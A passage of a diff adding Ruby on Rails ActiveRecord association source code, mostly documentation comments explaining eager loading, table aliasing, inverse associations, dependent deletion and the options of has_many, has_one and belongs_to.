+      #   Post.joins("LEFT OUTER JOIN comments ON comments.post_id = posts.id AND comments.approved = '1'")
+      #
+      # In this case, it is usually more natural to include an association which has conditions defined on it:
+      #
+      #   class Post < ActiveRecord::Base
+      #     has_many :approved_comments, -> { where(approved: true) }, class_name: 'Comment'
+      #   end
+      #
+      #   Post.includes(:approved_comments)
+      #
+      # This will load posts and eager load the +approved_comments+ association, which contains
+      # only those comments that have been approved.
+      #
+      # If you eager load an association with a specified <tt>:limit</tt> option, it will be ignored,
+      # returning all the associated objects:
+      #
+      #   class Picture < ActiveRecord::Base
+      #     has_many :most_recent_comments, -> { order('id DESC').limit(10) }, class_name: 'Comment'
+      #   end
+      #
+      #   Picture.includes(:most_recent_comments).first.most_recent_comments # => returns all associated comments.
+      #
+      # Eager loading is supported with polymorphic associations.
+      #
+      #   class Address < ActiveRecord::Base
+      #     belongs_to :addressable, polymorphic: true
+      #   end
+      #
+      # A call that tries to eager load the addressable model
+      #
+      #   Address.includes(:addressable)
+      #
+      # This will execute one query to load the addresses and load the addressables with one
+      # query per addressable type.
+      # For example, if all the addressables are either of class Person or Company, then a total
+      # of 3 queries will be executed. The list of addressable types to load is determined on
+      # the back of the addresses loaded. This is not supported if Active Record has to fallback
+      # to the previous implementation of eager loading and will raise ActiveRecord::EagerLoadPolymorphicError.
+      # The reason is that the parent model's type is a column value so its corresponding table
+      # name cannot be put in the +FROM+/+JOIN+ clauses of that query.
+      #
+      # == Table Aliasing
+      #
+      # Active Record uses table aliasing in the case that a table is referenced multiple times
+      # in a join. If a table is referenced only once, the standard table name is used. The
+      # second time, the table is aliased as <tt>#{reflection_name}_#{parent_table_name}</tt>.
+      # Indexes are appended for any more successive uses of the table name.
+      #
+      #   Post.joins(:comments)
+      #   # => SELECT ... FROM posts INNER JOIN comments ON ...
+      #   Post.joins(:special_comments) # STI
+      #   # => SELECT ... FROM posts INNER JOIN comments ON ... AND comments.type = 'SpecialComment'
+      #   Post.joins(:comments, :special_comments) # special_comments is the reflection name, posts is the parent table name
+      #   # => SELECT ... FROM posts INNER JOIN comments ON ... INNER JOIN comments special_comments_posts
+      #
+      # Acts as tree example:
+      #
+      #   TreeMixin.joins(:children)
+      #   # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+      #   TreeMixin.joins(children: :parent)
+      #   # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+      #                               INNER JOIN parents_mixins ...
+      #   TreeMixin.joins(children: {parent: :children})
+      #   # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+      #                               INNER JOIN parents_mixins ...
+      #                               INNER JOIN mixins childrens_mixins_2
+      #
+      # Has and Belongs to Many join tables use the same idea, but add a <tt>_join</tt> suffix:
+      #
+      #   Post.joins(:categories)
+      #   # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+      #   Post.joins(categories: :posts)
+      #   # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+      #                              INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
+      #   Post.joins(categories: {posts: :categories})
+      #   # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+      #                              INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
+      #                              INNER JOIN categories_posts categories_posts_join INNER JOIN categories categories_posts_2
+      #
+      # If you wish to specify your own custom joins using ActiveRecord::QueryMethods#joins method, those table
+      # names will take precedence over the eager associations:
+      #
+      #   Post.joins(:comments).joins("inner join comments ...")
+      #   # => SELECT ... FROM posts INNER JOIN comments_posts ON ... INNER JOIN comments ...
+      #   Post.joins(:comments, :special_comments).joins("inner join comments ...")
+      #   # => SELECT ... FROM posts INNER JOIN comments comments_posts ON ...
+      #                              INNER JOIN comments special_comments_posts ...
+      #                              INNER JOIN comments ...
+      #
+      # Table aliases are automatically truncated according to the maximum length of table identifiers
+      # according to the specific database.
+      #
+      # == Modules
+      #
+      # By default, associations will look for objects within the current module scope. Consider:
+      #
+      #   module MyApplication
+      #     module Business
+      #       class Firm < ActiveRecord::Base
+      #         has_many :clients
+      #       end
+      #
+      #       class Client < ActiveRecord::Base; end
+      #     end
+      #   end
+      #
+      # When <tt>Firm#clients</tt> is called, it will in turn call
+      # <tt>MyApplication::Business::Client.find_all_by_firm_id(firm.id)</tt>.
+      # If you want to associate with a class in another module scope, this can be done by
+      # specifying the complete class name.
+      #
+      #   module MyApplication
+      #     module Business
+      #       class Firm < ActiveRecord::Base; end
+      #     end
+      #
+      #     module Billing
+      #       class Account < ActiveRecord::Base
+      #         belongs_to :firm, class_name: "MyApplication::Business::Firm"
+      #       end
+      #     end
+      #   end
+      #
+      # == Bi-directional associations
+      #
+      # When you specify an association, there is usually an association on the associated model
+      # that specifies the same relationship in reverse. For example, with the following models:
+      #
+      #    class Dungeon < ActiveRecord::Base
+      #      has_many :traps
+      #      has_one :evil_wizard
+      #    end
+      #
+      #    class Trap < ActiveRecord::Base
+      #      belongs_to :dungeon
+      #    end
+      #
+      #    class EvilWizard < ActiveRecord::Base
+      #      belongs_to :dungeon
+      #    end
+      #
+      # The +traps+ association on +Dungeon+ and the +dungeon+ association on +Trap+ are
+      # the inverse of each other, and the inverse of the +dungeon+ association on +EvilWizard+
+      # is the +evil_wizard+ association on +Dungeon+ (and vice-versa). By default,
+      # Active Record can guess the inverse of the association based on the name
+      # of the class. The result is the following:
+      #
+      #    d = Dungeon.first
+      #    t = d.traps.first
+      #    d.object_id == t.dungeon.object_id # => true
+      #
+      # The +Dungeon+ instances +d+ and <tt>t.dungeon</tt> in the above example refer to
+      # the same in-memory instance since the association matches the name of the class.
+      # The result would be the same if we added +:inverse_of+ to our model definitions:
+      #
+      #    class Dungeon < ActiveRecord::Base
+      #      has_many :traps, inverse_of: :dungeon
+      #      has_one :evil_wizard, inverse_of: :dungeon
+      #    end
+      #
+      #    class Trap < ActiveRecord::Base
+      #      belongs_to :dungeon, inverse_of: :traps
+      #    end
+      #
+      #    class EvilWizard < ActiveRecord::Base
+      #      belongs_to :dungeon, inverse_of: :evil_wizard
+      #    end
+      #
+      # There are limitations to <tt>:inverse_of</tt> support:
+      #
+      # * does not work with <tt>:through</tt> associations.
+      # * does not work with <tt>:polymorphic</tt> associations.
+      # * inverse associations for #belongs_to associations #has_many are ignored.
+      #
+      # For more information, see the documentation for the +:inverse_of+ option.
+      #
+      # == Deleting from associations
+      #
+      # === Dependent associations
+      #
+      # #has_many, #has_one, and #belongs_to associations support the <tt>:dependent</tt> option.
+      # This allows you to specify that associated records should be deleted when the owner is
+      # deleted.
+      #
+      # For example:
+      #
+      #     class Author
+      #       has_many :posts, dependent: :destroy
+      #     end
+      #     Author.find(1).destroy # => Will destroy all of the author's posts, too
+      #
+      # The <tt>:dependent</tt> option can have different values which specify how the deletion
+      # is done. For more information, see the documentation for this option on the different
+      # specific association types. When no option is given, the behavior is to do nothing
+      # with the associated records when destroying a record.
+      #
+      # Note that <tt>:dependent</tt> is implemented using Rails' callback
+      # system, which works by processing callbacks in order. Therefore, other
+      # callbacks declared either before or after the <tt>:dependent</tt> option
+      # can affect what it does.
+      #
+      # Note that <tt>:dependent</tt> option is ignored for #has_one <tt>:through</tt> associations.
+      #
+      # === Delete or destroy?
+      #
+      # #has_many and #has_and_belongs_to_many associations have the methods <tt>destroy</tt>,
+      # <tt>delete</tt>, <tt>destroy_all</tt> and <tt>delete_all</tt>.
+      #
+      # For #has_and_belongs_to_many, <tt>delete</tt> and <tt>destroy</tt> are the same: they
+      # cause the records in the join table to be removed.
+      #
+      # For #has_many, <tt>destroy</tt> and <tt>destroy_all</tt> will always call the <tt>destroy</tt> method of the
+      # record(s) being removed so that callbacks are run. However <tt>delete</tt> and <tt>delete_all</tt> will either
+      # do the deletion according to the strategy specified by the <tt>:dependent</tt> option, or
+      # if no <tt>:dependent</tt> option is given, then it will follow the default strategy.
+      # The default strategy is to do nothing (leave the foreign keys with the parent ids set), except for
+      # #has_many <tt>:through</tt>, where the default strategy is <tt>delete_all</tt> (delete
+      # the join records, without running their callbacks).
+      #
+      # There is also a <tt>clear</tt> method which is the same as <tt>delete_all</tt>, except that
+      # it returns the association rather than the records which have been deleted.
+      #
+      # === What gets deleted?
+      #
+      # There is a potential pitfall here: #has_and_belongs_to_many and #has_many <tt>:through</tt>
+      # associations have records in join tables, as well as the associated records. So when we
+      # call one of these deletion methods, what exactly should be deleted?
+      #
+      # The answer is that it is assumed that deletion on an association is about removing the
+      # <i>link</i> between the owner and the associated object(s), rather than necessarily the
+      # associated objects themselves. So with #has_and_belongs_to_many and #has_many
+      # <tt>:through</tt>, the join records will be deleted, but the associated records won't.
+      #
+      # This makes sense if you think about it: if you were to call <tt>post.tags.delete(Tag.find_by(name: 'food'))</tt>
+      # you would want the 'food' tag to be unlinked from the post, rather than for the tag itself
+      # to be removed from the database.
+      #
+      # However, there are examples where this strategy doesn't make sense. For example, suppose
+      # a person has many projects, and each project has many tasks. If we deleted one of a person's
+      # tasks, we would probably not want the project to be deleted. In this scenario, the delete method
+      # won't actually work: it can only be used if the association on the join model is a
+      # #belongs_to. In other situations you are expected to perform operations directly on
+      # either the associated records or the <tt>:through</tt> association.
+      #
+      # With a regular #has_many there is no distinction between the "associated records"
+      # and the "link", so there is only one choice for what gets deleted.
+      #
+      # With #has_and_belongs_to_many and #has_many <tt>:through</tt>, if you want to delete the
+      # associated records themselves, you can always do something along the lines of
+      # <tt>person.tasks.each(&:destroy)</tt>.
+      #
+      # == Type safety with ActiveRecord::AssociationTypeMismatch
+      #
+      # If you attempt to assign an object to an association that doesn't match the inferred
+      # or specified <tt>:class_name</tt>, you'll get an ActiveRecord::AssociationTypeMismatch.
+      #
+      # == Options
+      #
+      # All of the association macros can be specialized through options. This makes cases
+      # more complex than the simple and guessable ones possible.
+      module ClassMethods
+        # Specifies a one-to-many association. The following methods for retrieval and query of
+        # collections of associated objects will be added:
+        #
+        # +collection+ is a placeholder for the symbol passed as the +name+ argument, so
+        # <tt>has_many :clients</tt> would add among others <tt>clients.empty?</tt>.
+        #
+        # [collection]
+        #   Returns an array of all the associated objects.
+        #   An empty array is returned if none are found.
+        # [collection<<(object, ...)]
+        #   Adds one or more objects to the collection by setting their foreign keys to the collection's primary key.
+        #   Note that this operation instantly fires update SQL without waiting for the save or update call on the
+        #   parent object, unless the parent object is a new record.
+        #   This will also run validations and callbacks of associated object(s).
+        # [collection.delete(object, ...)]
+        #   Removes one or more objects from the collection by setting their foreign keys to +NULL+.
+        #   Objects will be in addition destroyed if they're associated with <tt>dependent: :destroy</tt>,
+        #   and deleted if they're associated with <tt>dependent: :delete_all</tt>.
+        #
+        #   If the <tt>:through</tt> option is used, then the join records are deleted (rather than
+        #   nullified) by default, but you can specify <tt>dependent: :destroy</tt> or
+        #   <tt>dependent: :nullify</tt> to override this.
+        # [collection.destroy(object, ...)]
+        #   Removes one or more objects from the collection by running <tt>destroy</tt> on
+        #   each record, regardless of any dependent option, ensuring callbacks are run.
+        #
+        #   If the <tt>:through</tt> option is used, then the join records are destroyed
+        #   instead, not the objects themselves.
+        # [collection=objects]
+        #   Replaces the collections content by deleting and adding objects as appropriate. If the <tt>:through</tt>
+        #   option is true callbacks in the join models are triggered except destroy callbacks, since deletion is
+        #   direct by default. You can specify <tt>dependent: :destroy</tt> or
+        #   <tt>dependent: :nullify</tt> to override this.
+        # [collection_singular_ids]
+        #   Returns an array of the associated objects' ids
+        # [collection_singular_ids=ids]
+        #   Replace the collection with the objects identified by the primary keys in +ids+. This
+        #   method loads the models and calls <tt>collection=</tt>. See above.
+        # [collection.clear]
+        #   Removes every object from the collection. This destroys the associated objects if they
+        #   are associated with <tt>dependent: :destroy</tt>, deletes them directly from the
+        #   database if <tt>dependent: :delete_all</tt>, otherwise sets their foreign keys to +NULL+.
+        #   If the <tt>:through</tt> option is true no destroy callbacks are invoked on the join models.
+        #   Join models are directly deleted.
+        # [collection.empty?]
+        #   Returns +true+ if there are no associated objects.
+        # [collection.size]
+        #   Returns the number of associated objects.
+        # [collection.find(...)]
+        #   Finds an associated object according to the same rules as ActiveRecord::FinderMethods#find.
+        # [collection.exists?(...)]
+        #   Checks whether an associated object with the given conditions exists.
+        #   Uses the same rules as ActiveRecord::FinderMethods#exists?.
+        # [collection.build(attributes = {}, ...)]
+        #   Returns one or more new objects of the collection type that have been instantiated
+        #   with +attributes+ and linked to this object through a foreign key, but have not yet
+        #   been saved.
+        # [collection.create(attributes = {})]
+        #   Returns a new object of the collection type that has been instantiated
+        #   with +attributes+, linked to this object through a foreign key, and that has already
+        #   been saved (if it passed the validation). *Note*: This only works if the base model
+        #   already exists in the DB, not if it is a new (unsaved) record!
+        # [collection.create!(attributes = {})]
+        #   Does the same as <tt>collection.create</tt>, but raises ActiveRecord::RecordInvalid
+        #   if the record is invalid.
+        #
+        # === Example
+        #
+        # A <tt>Firm</tt> class declares <tt>has_many :clients</tt>, which will add:
+        # * <tt>Firm#clients</tt> (similar to <tt>Client.where(firm_id: id)</tt>)
+        # * <tt>Firm#clients<<</tt>
+        # * <tt>Firm#clients.delete</tt>
+        # * <tt>Firm#clients.destroy</tt>
+        # * <tt>Firm#clients=</tt>
+        # * <tt>Firm#client_ids</tt>
+        # * <tt>Firm#client_ids=</tt>
+        # * <tt>Firm#clients.clear</tt>
+        # * <tt>Firm#clients.empty?</tt> (similar to <tt>firm.clients.size == 0</tt>)
+        # * <tt>Firm#clients.size</tt> (similar to <tt>Client.count "firm_id = #{id}"</tt>)
+        # * <tt>Firm#clients.find</tt> (similar to <tt>Client.where(firm_id: id).find(id)</tt>)
+        # * <tt>Firm#clients.exists?(name: 'ACME')</tt> (similar to <tt>Client.exists?(name: 'ACME', firm_id: firm.id)</tt>)
+        # * <tt>Firm#clients.build</tt> (similar to <tt>Client.new("firm_id" => id)</tt>)
+        # * <tt>Firm#clients.create</tt> (similar to <tt>c = Client.new("firm_id" => id); c.save; c</tt>)
+        # * <tt>Firm#clients.create!</tt> (similar to <tt>c = Client.new("firm_id" => id); c.save!</tt>)
+        # The declaration can also include an +options+ hash to specialize the behavior of the association.
+        #
+        # === Scopes
+        #
+        # You can pass a second argument +scope+ as a callable (i.e. proc or
+        # lambda) to retrieve a specific set of records or customize the generated
+        # query when you access the associated collection.
+        #
+        # Scope examples:
+        #   has_many :comments, -> { where(author_id: 1) }
+        #   has_many :employees, -> { joins(:address) }
+        #   has_many :posts, ->(blog) { where("max_post_length > ?", blog.max_post_length) }
+        #
+        # === Extensions
+        #
+        # The +extension+ argument allows you to pass a block into a has_many
+        # association. This is useful for adding new finders, creators and other
+        # factory-type methods to be used as part of the association.
+        #
+        # Extension examples:
+        #   has_many :employees do
+        #     def find_or_create_by_name(name)
+        #       first_name, last_name = name.split(" ", 2)
+        #       find_or_create_by(first_name: first_name, last_name: last_name)
+        #     end
+        #   end
+        #
+        # === Options
+        # [:class_name]
+        #   Specify the class name of the association. Use it only if that name can't be inferred
+        #   from the association name. So <tt>has_many :products</tt> will by default be linked
+        #   to the +Product+ class, but if the real class name is +SpecialProduct+, you'll have to
+        #   specify it with this option.
+        # [:foreign_key]
+        #   Specify the foreign key used for the association. By default this is guessed to be the name
+        #   of this class in lower-case and "_id" suffixed. So a Person class that makes a #has_many
+        #   association will use "person_id" as the default <tt>:foreign_key</tt>.
+        # [:foreign_type]
+        #   Specify the column used to store the associated object's type, if this is a polymorphic
+        #   association. By default this is guessed to be the name of the polymorphic association
+        #   specified on "as" option with a "_type" suffix. So a class that defines a
+        #   <tt>has_many :tags, as: :taggable</tt> association will use "taggable_type" as the
+        #   default <tt>:foreign_type</tt>.
+        # [:primary_key]
+        #   Specify the name of the column to use as the primary key for the association. By default this is +id+.
+        # [:dependent]
+        #   Controls what happens to the associated objects when
+        #   their owner is destroyed. Note that these are implemented as
+        #   callbacks, and Rails executes callbacks in order. Therefore, other
+        #   similar callbacks may affect the <tt>:dependent</tt> behavior, and the
+        #   <tt>:dependent</tt> behavior may affect other callbacks.
+        #
+        #   * <tt>:destroy</tt> causes all the associated objects to also be destroyed.
+        #   * <tt>:delete_all</tt> causes all the associated objects to be deleted directly from the database (so callbacks will not be executed).
+        #   * <tt>:nullify</tt> causes the foreign keys to be set to +NULL+. Callbacks are not executed.
+        #   * <tt>:restrict_with_exception</tt> causes an exception to be raised if there are any associated records.
+        #   * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there are any associated objects.
+        #
+        #   If using with the <tt>:through</tt> option, the association on the join model must be
+        #   a #belongs_to, and the records which get deleted are the join records, rather than
+        #   the associated records.
+        #
+        #   If using <tt>dependent: :destroy</tt> on a scoped association, only the scoped objects are destroyed.
+        #   For example, if a Post model defines
+        #   <tt>has_many :comments, -> { where published: true }, dependent: :destroy</tt> and <tt>destroy</tt> is
+        #   called on a post, only published comments are destroyed. This means that any unpublished comments in the
+        #   database would still contain a foreign key pointing to the now deleted post.
+        # [:counter_cache]
+        #   This option can be used to configure a custom named <tt>:counter_cache.</tt> You only need this option,
+        #   when you customized the name of your <tt>:counter_cache</tt> on the #belongs_to association.
+        # [:as]
+        #   Specifies a polymorphic interface (See #belongs_to).
+        # [:through]
+        #   Specifies an association through which to perform the query. This can be any other type
+        #   of association, including other <tt>:through</tt> associations. Options for <tt>:class_name</tt>,
+        #   <tt>:primary_key</tt> and <tt>:foreign_key</tt> are ignored, as the association uses the
+        #   source reflection.
+        #
+        #   If the association on the join model is a #belongs_to, the collection can be modified
+        #   and the records on the <tt>:through</tt> model will be automatically created and removed
+        #   as appropriate. Otherwise, the collection is read-only, so you should manipulate the
+        #   <tt>:through</tt> association directly.
+        #
+        #   If you are going to modify the association (rather than just read from it), then it is
+        #   a good idea to set the <tt>:inverse_of</tt> option on the source association on the
+        #   join model. This allows associated records to be built which will automatically create
+        #   the appropriate join model records when they are saved. (See the 'Association Join Models'
+        #   section above.)
+        # [:source]
+        #   Specifies the source association name used by #has_many <tt>:through</tt> queries.
+        #   Only use it if the name cannot be inferred from the association.
+        #   <tt>has_many :subscribers, through: :subscriptions</tt> will look for either <tt>:subscribers</tt> or
+        #   <tt>:subscriber</tt> on Subscription, unless a <tt>:source</tt> is given.
+        # [:source_type]
+        #   Specifies type of the source association used by #has_many <tt>:through</tt> queries where the source
+        #   association is a polymorphic #belongs_to.
+        # [:validate]
+        #   When set to +true+, validates new objects added to association when saving the parent object. +true+ by default.
+        #   If you want to ensure associated objects are revalidated on every update, use +validates_associated+.
+        # [:autosave]
+        #   If true, always save the associated objects or destroy them if marked for destruction,
+        #   when saving the parent object. If false, never save or destroy the associated objects.
+        #   By default, only save associated objects that are new records. This option is implemented as a
+        #   +before_save+ callback. Because callbacks are run in the order they are defined, associated objects
+        #   may need to be explicitly saved in any user-defined +before_save+ callbacks.
+        #
+        #   Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for sets
+        #   <tt>:autosave</tt> to <tt>true</tt>.
+        # [:inverse_of]
+        #   Specifies the name of the #belongs_to association on the associated object
+        #   that is the inverse of this #has_many association. Does not work in combination
+        #   with <tt>:through</tt> or <tt>:as</tt> options.
+        #   See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
+        # [:extend]
+        #   Specifies a module or array of modules that will be extended into the association object returned.
+        #   Useful for defining methods on associations, especially when they should be shared between multiple
+        #   association objects.
+        #
+        # Option examples:
+        #   has_many :comments, -> { order("posted_on") }
+        #   has_many :comments, -> { includes(:author) }
+        #   has_many :people, -> { where(deleted: false).order("name") }, class_name: "Person"
+        #   has_many :tracks, -> { order("position") }, dependent: :destroy
+        #   has_many :comments, dependent: :nullify
+        #   has_many :tags, as: :taggable
+        #   has_many :reports, -> { readonly }
+        #   has_many :subscribers, through: :subscriptions, source: :user
+        def has_many(name, scope = nil, options = {}, &extension)
+          reflection = Builder::HasMany.build(self, name, scope, options, &extension)
+          Reflection.add_reflection self, name, reflection
+        end
+
+        # Specifies a one-to-one association with another class. This method should only be used
+        # if the other class contains the foreign key. If the current class contains the foreign key,
+        # then you should use #belongs_to instead. See also ActiveRecord::Associations::ClassMethods's overview
+        # on when to use #has_one and when to use #belongs_to.
+        #
+        # The following methods for retrieval and query of a single associated object will be added:
+        #
+        # +association+ is a placeholder for the symbol passed as the +name+ argument, so
+        # <tt>has_one :manager</tt> would add among others <tt>manager.nil?</tt>.
+        #
+        # [association]
+        #   Returns the associated object. +nil+ is returned if none is found.
+        # [association=(associate)]
+        #   Assigns the associate object, extracts the primary key, sets it as the foreign key,
+        #   and saves the associate object. To avoid database inconsistencies, permanently deletes an existing
+        #   associated object when assigning a new one, even if the new one isn't saved to database.
+        # [build_association(attributes = {})]
+        #   Returns a new object of the associated type that has been instantiated
+        #   with +attributes+ and linked to this object through a foreign key, but has not
+        #   yet been saved.
+        # [create_association(attributes = {})]
+        #   Returns a new object of the associated type that has been instantiated
+        #   with +attributes+, linked to this object through a foreign key, and that
+        #   has already been saved (if it passed the validation).
+        # [create_association!(attributes = {})]
+        #   Does the same as <tt>create_association</tt>, but raises ActiveRecord::RecordInvalid
+        #   if the record is invalid.
+        #
+        # === Example
+        #
+        # An Account class declares <tt>has_one :beneficiary</tt>, which will add:
+        # * <tt>Account#beneficiary</tt> (similar to <tt>Beneficiary.where(account_id: id).first</tt>)
+        # * <tt>Account#beneficiary=(beneficiary)</tt> (similar to <tt>beneficiary.account_id = account.id; beneficiary.save</tt>)
+        # * <tt>Account#build_beneficiary</tt> (similar to <tt>Beneficiary.new("account_id" => id)</tt>)
+        # * <tt>Account#create_beneficiary</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save; b</tt>)
+        # * <tt>Account#create_beneficiary!</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save!; b</tt>)
+        #
+        # === Scopes
+        #
+        # You can pass a second argument +scope+ as a callable (i.e. proc or
+        # lambda) to retrieve a specific record or customize the generated query
+        # when you access the associated object.
+        #
+        # Scope examples:
+        #   has_one :author, -> { where(comment_id: 1) }
+        #   has_one :employer, -> { joins(:company) }
+        #   has_one :latest_post, ->(blog) { where("created_at > ?", blog.enabled_at) }
+        #
+        # === Options
+        #
+        # The declaration can also include an +options+ hash to specialize the behavior of the association.
+        #
+        # Options are:
+        # [:class_name]
+        #   Specify the class name of the association. Use it only if that name can't be inferred
+        #   from the association name. So <tt>has_one :manager</tt> will by default be linked to the Manager class, but
+        #   if the real class name is Person, you'll have to specify it with this option.
+        # [:dependent]
+        #   Controls what happens to the associated object when
+        #   its owner is destroyed:
+        #
+        #   * <tt>:destroy</tt> causes the associated object to also be destroyed
+        #   * <tt>:delete</tt> causes the associated object to be deleted directly from the database (so callbacks will not execute)
+        #   * <tt>:nullify</tt> causes the foreign key to be set to +NULL+. Callbacks are not executed.
+        #   * <tt>:restrict_with_exception</tt> causes an exception to be raised if there is an associated record
+        #   * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there is an associated object
+        #
+        #   Note that <tt>:dependent</tt> option is ignored when using <tt>:through</tt> option.
+        # [:foreign_key]
+        #   Specify the foreign key used for the association. By default this is guessed to be the name
+        #   of this class in lower-case and "_id" suffixed. So a Person class that makes a #has_one association
+        #   will use "person_id" as the default <tt>:foreign_key</tt>.
+        # [:foreign_type]
+        #   Specify the column used to store the associated object's type, if this is a polymorphic
+        #   association. By default this is guessed to be the name of the polymorphic association
+        #   specified on "as" option with a "_type" suffix. So a class that defines a
+        #   <tt>has_one :tag, as: :taggable</tt> association will use "taggable_type" as the
+        #   default <tt>:foreign_type</tt>.
+        # [:primary_key]
+        #   Specify the method that returns the primary key used for the association. By default this is +id+.
+        # [:as]
+        #   Specifies a polymorphic interface (See #belongs_to).
+        # [:through]
+        #   Specifies a Join Model through which to perform the query. Options for <tt>:class_name</tt>,
+        #   <tt>:primary_key</tt>, and <tt>:foreign_key</tt> are ignored, as the association uses the
+        #   source reflection. You can only use a <tt>:through</tt> query through a #has_one
+        #   or #belongs_to association on the join model.
+        # [:source]
+        #   Specifies the source association name used by #has_one <tt>:through</tt> queries.
+        #   Only use it if the name cannot be inferred from the association.
+        #   <tt>has_one :favorite, through: :favorites</tt> will look for a
+        #   <tt>:favorite</tt> on Favorite, unless a <tt>:source</tt> is given.
+        # [:source_type]
+        #   Specifies type of the source association used by #has_one <tt>:through</tt> queries where the source
+        #   association is a polymorphic #belongs_to.
+        # [:validate]
+        #   When set to +true+, validates new objects added to association when saving the parent object. +false+ by default.
+        #   If you want to ensure associated objects are revalidated on every update, use +validates_associated+.
+        # [:autosave]
+        #   If true, always save the associated object or destroy it if marked for destruction,
+        #   when saving the parent object. If false, never save or destroy the associated object.
+        #   By default, only save the associated object if it's a new record.
+        #
+        #   Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for sets
+        #   <tt>:autosave</tt> to <tt>true</tt>.
+        # [:inverse_of]
+        #   Specifies the name of the #belongs_to association on the associated object
+        #   that is the inverse of this #has_one association. Does not work in combination
+        #   with <tt>:through</tt> or <tt>:as</tt> options.
+        #   See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
+        # [:required]
+        #   When set to +true+, the association will also have its presence validated.
+        #   This will validate the association itself, not the id. You can use
+        #   +:inverse_of+ to avoid an extra query during validation.
+        #
+        # Option examples:
+        #   has_one :credit_card, dependent: :destroy  # destroys the associated credit card
+        #   has_one :credit_card, dependent: :nullify  # updates the associated records foreign
+        #                                                 # key value to NULL rather than destroying it
+        #   has_one :last_comment, -> { order('posted_on') }, class_name: "Comment"
+        #   has_one :project_manager, -> { where(role: 'project_manager') }, class_name: "Person"
+        #   has_one :attachment, as: :attachable
+        #   has_one :boss, -> { readonly }
+        #   has_one :club, through: :membership
+        #   has_one :primary_address, -> { where(primary: true) }, through: :addressables, source: :addressable
+        #   has_one :credit_card, required: true
+        def has_one(name, scope = nil, options = {})
+          reflection = Builder::HasOne.build(self, name, scope, options)
+          Reflection.add_reflection self, name, reflection
+        end
+
+        # Specifies a one-to-one association with another class. This method should only be used
+        # if this class contains the foreign key. If the other class contains the foreign key,
+        # then you should use #has_one instead. See also ActiveRecord::Associations::ClassMethods's overview
+        # on when to use #has_one and when to use #belongs_to.
+        #
+        # Methods will be added for retrieval and query for a single associated object, for which
+        # this object holds an id:
+        #
+        # +association+ is a placeholder for the symbol passed as the +name+ argument, so
+        # <tt>belongs_to :author</tt> would add among others <tt>author.nil?</tt>.
+        #
+        # [association]
+        #   Returns the associated object. +nil+ is returned if none is found.
+        # [association=(associate)]
+        #   Assigns the associate object, extracts the primary key, and sets it as the foreign key.
+        # [build_association(attributes = {})]
+        #   Returns a new object of the associated type that has been instantiated
+        #   with +attributes+ and linked to this object through a foreign key, but has not yet been saved.
+        # [create_association(attributes = {})]
+        #   Returns a new object of the associated type that has been instantiated
+        #   with +attributes+, linked to this object through a foreign key, and that
+        #   has already been saved (if it passed the validation).
+        # [create_association!(attributes = {})]
+        #   Does the same as <tt>create_association</tt>, but raises ActiveRecord::RecordInvalid
+        #   if the record is invalid.
+        #
+        # === Example
+        #
+        # A Post class declares <tt>belongs_to :author</tt>, which will add:
+        # * <tt>Post#author</tt> (similar to <tt>Author.find(author_id)</tt>)
+        # * <tt>Post#author=(author)</tt> (similar to <tt>post.author_id = author.id</tt>)
+        # * <tt>Post#build_author</tt> (similar to <tt>post.author = Author.new</tt>)
+        # * <tt>Post#create_author</tt> (similar to <tt>post.author = Author.new; post.author.save; post.author</tt>)
+        # * <tt>Post#create_author!</tt> (similar to <tt>post.author = Author.new; post.author.save!; post.author</tt>)
+        # The declaration can also include an +options+ hash to specialize the behavior of the association.
+        #
+        # === Scopes
+        #
+        # You can pass a second argument +scope+ as a callable (i.e. proc or
+        # lambda) to retrieve a specific record or customize the generated query
+        # when you access the associated object.
+        #
+        # Scope examples:
+        #   belongs_to :firm, -> { where(id: 2) }
+        #   belongs_to :user, -> { joins(:friends) }
+        #   belongs_to :level, ->(game) { where("game_level > ?", game.current_level) }
+        #
+        # === Options
+        #
+        # [:class_name]
+        #   Specify the class name of the association. Use it only if that name can't be inferred
+        #   from the association name. So <tt>belongs_to :author</tt> will by default be linked to the Author class, but
+        #   if the real class name is Person, you'll have to specify it with this option.
+        # [:foreign_key]
+        #   Specify the foreign key used for the association. By default this is guessed to be the name
+        #   of the association with an "_id" suffix. So a class that defines a <tt>belongs_to :person</tt>
+        #   association will use "person_id" as the default <tt>:foreign_key</tt>. Similarly,
+        #   <tt>belongs_to :favorite_person, class_name: "Person"</tt> will use a foreign key
+        #   of "favorite_person_id".
+        # [:foreign_type]
+        #   Specify the column used to store the associated object's type, if this is a polymorphic
+        #   association. By default this is guessed to be the name of the association with a "_type"
+        #   suffix. So a class that defines a <tt>belongs_to :taggable, polymorphic: true</tt>
+        #   association will use "taggable_type" as the default <tt>:foreign_type</tt>.
+        # [:primary_key]
+        #   Specify the method that returns the primary key of associated object used for the association.
+        #   By default this is id.
+        # [:dependent]
+        #   If set to <tt>:destroy</tt>, the associated object is destroyed when this object is. If set to
+        #   <tt>:delete</tt>, the associated object is deleted *without* calling its destroy method.
+        #   This option should not be specified when #belongs_to is used in conjunction with
+        #   a #has_many relationship on another class because of the potential to leave
+        #   orphaned records behind.
+        # [:counter_cache]
+        #   Caches the number of belonging objects on the associate class through the use of CounterCache::ClassMethods#increment_counter
+        #   and CounterCache::ClassMethods#decrement_counter. The counter cache is incremented when an object of this
+        #   class is created and decremented when it's destroyed. This requires that a column
+        #   named <tt>#{table_name}_count</tt> (such as +comments_count+ for a belonging Comment class)
+        #   is used on the associate class (such as a Post class) - that is the migration for
+        #   <tt>#{table_name}_count</tt> is created on the associate class (such that <tt>Post.comments_count</tt> will
+        #   return the count cached, see note below). You can also specify a custom counter
